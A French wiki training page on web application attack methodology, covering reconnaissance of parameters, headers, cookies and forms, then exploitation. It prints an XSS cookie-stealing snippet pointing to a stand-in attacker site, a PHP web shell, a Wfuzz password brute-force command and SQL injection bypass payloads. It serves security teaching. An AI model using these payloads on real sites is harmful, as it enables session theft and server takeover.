Méthodologie d'attaque web

De wiki.nexiat.fr
(Redirigé depuis Autre etude)
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Fiche express
Domaine Attaque d'application web
Objectif Reconnaissance et exploitation applicative
Outils cités Webscarab, Wfuzz, Burp Suite, netcat
Voir aussi Injection sql · Wfuzz · Modification d'URL

Cette fiche regroupe une méthodologie de reconnaissance et d'attaque d'une application web : analyse des paramètres, des en-têtes, des cookies, des formulaires, du JavaScript, puis exploitation (vol de session, dépôt de fichier malicieux, injection SQL, brute force).

Type de variables utilisées

Les paramètres passés dans l'URL renseignent sur le fonctionnement de l'application :

pages.php?id=5&menu=2&article=7
pages_5_2_7.html

Ces deux adresses peuvent être équivalentes via de l'URL rewriting. L'analyse du code de la page peut révéler le CMS utilisé (joomla, Drupal...).

En-têtes web

Les en-têtes HTTP renseignent sur le serveur qui héberge l'application, et donc sur les langages disponibles :

  • IIS : ASP, ASP.NET
  • Sun Java System Web Server : JSP, ASP, PHP
  • lighttpd : PHP, Perl, Ruby, Python
  • Apache : PHP, Perl, Ruby, Python

Une attaque peut viser à : rendre le service indisponible (DDoS), modifier un contenu, récupérer des informations privées, ou prendre le contrôle d'un serveur pour en faire un zombie.

Démarche générale :

  • récupérer un maximum d'informations pour initier l'attaque (langage, cookies, arborescence) ;
  • découvrir les parties cachées (répertoires, base de données) ;
  • définir une stratégie d'attaque en fonction des informations récoltées.

Cookies

Vérifier les valeurs des cookies (extensions Firefox Add N Edit Cookies, Web Developer, ou Webscarab / Burp Suite). Observer les valeurs suspectes, par exemple admin=0.

Formulaires

L'étude des formulaires peut faire apparaître des champs cachés et des pages non accessibles directement.

JavaScript

  • faire un delta des versions des scripts.

Accès aux répertoires

  • essayer de lister les répertoires un à un.

Version du serveur

  • récupérer la version du serveur ;
  • rechercher les failles relatives à cette version ;
  • provoquer une erreur en appelant une page avec netcat : le retour d'informations diffère.

Extensions Firefox utiles

  • Firebug, Modify Headers, Live HTTP Headers (modification en direct des en-têtes).

Points d'attaque à examiner :

  • formulaire d'authentification : modifier les champs cachés, brute force (si pas de captcha), injection de code ;
  • si le site autorise le dépôt de fichier : déposer un fichier au type MIME autorisé et faire exécuter du code ;
  • si le site utilise des sessions : contourner par modification des cookies, de l'en-tête, des champs cachés, ou par injection SQL ;
  • forums : poster du code pour récupérer des sessions ;
  • fonction « mot de passe oublié » : analyser son fonctionnement.

Vol de session

En écrivant dans les cookies il est possible de voler une session : poster un JavaScript dans un message ; à chaque lecture, le script transmet le cookie du lecteur vers un serveur distant, où il pourra être réutilisé.

<script>document.referrer=document.cookie</script><a href="site_pirate.example">lien</a>

Page de réception côté attaquant :

<?php
echo "On vient de :".$_SERVER['HTTP_REFERER'];
?>

Dépôt de fichiers malicieux

Les uploads de fichiers sont contrôlés par type MIME (images/jpg — RFC 2045/2046, text/html — RFC 2854, etc.). Il est possible de tromper cette vérification.

Fonctions PHP d'exécution : exec(), system(). Le script suivant, une fois déposé, ouvre un shell web sur le serveur d'hébergement :

<form method="POST" name="exec">
Entrez une commande :
<input type="text" name="commande"><br>
<input type="submit" name="Exécuter" value="exec">
</form>
<hr>
<?php
if (isset($_POST['commande'])) {
    $commande = stripslashes($_POST['commande']);
    system($commande);
}
?>

Les commandes sont exécutées avec l'utilisateur apache ou www-data.

Fuzzing des formulaires

Webscarab permet d'envoyer des données inattendues dans les formulaires ; Wfuzz peut utiliser un dictionnaire pour trouver le nom des champs (Webscarab repère les formulaires, Wfuzz brute force) :

python wfuzz.py -c -z file -f commons.txt --hc 404 --html \
  -d "fog_action=1&fog_userid=&fog_pseudo=codej&fog_password=FUZZ&fog_cook=3650" \
  http://localhost/fog/index.php?fog_r=login 2>form_fog.html

Contournement d'authentification sur requête mal filtrée :

-- requête d'origine
select * from users where login='$login' and password='$password';
-- injection
select * from users where login='$login' and password='' OR 1=1 #';

Exemples de charges (fichier SQL.txt de Wfuzz) :

' or ''='
' or 'x'='x
" or "x"="x
') or ('x'='x
0 or 1=1
' or 0=0 --
' or 0=0 #
' or 1=1--
' or '1'='1'--
or 1=1--

L'extension Firefox SQLInject Me permet de lancer ce type de tests et génère un rapport HTML.

Voir aussi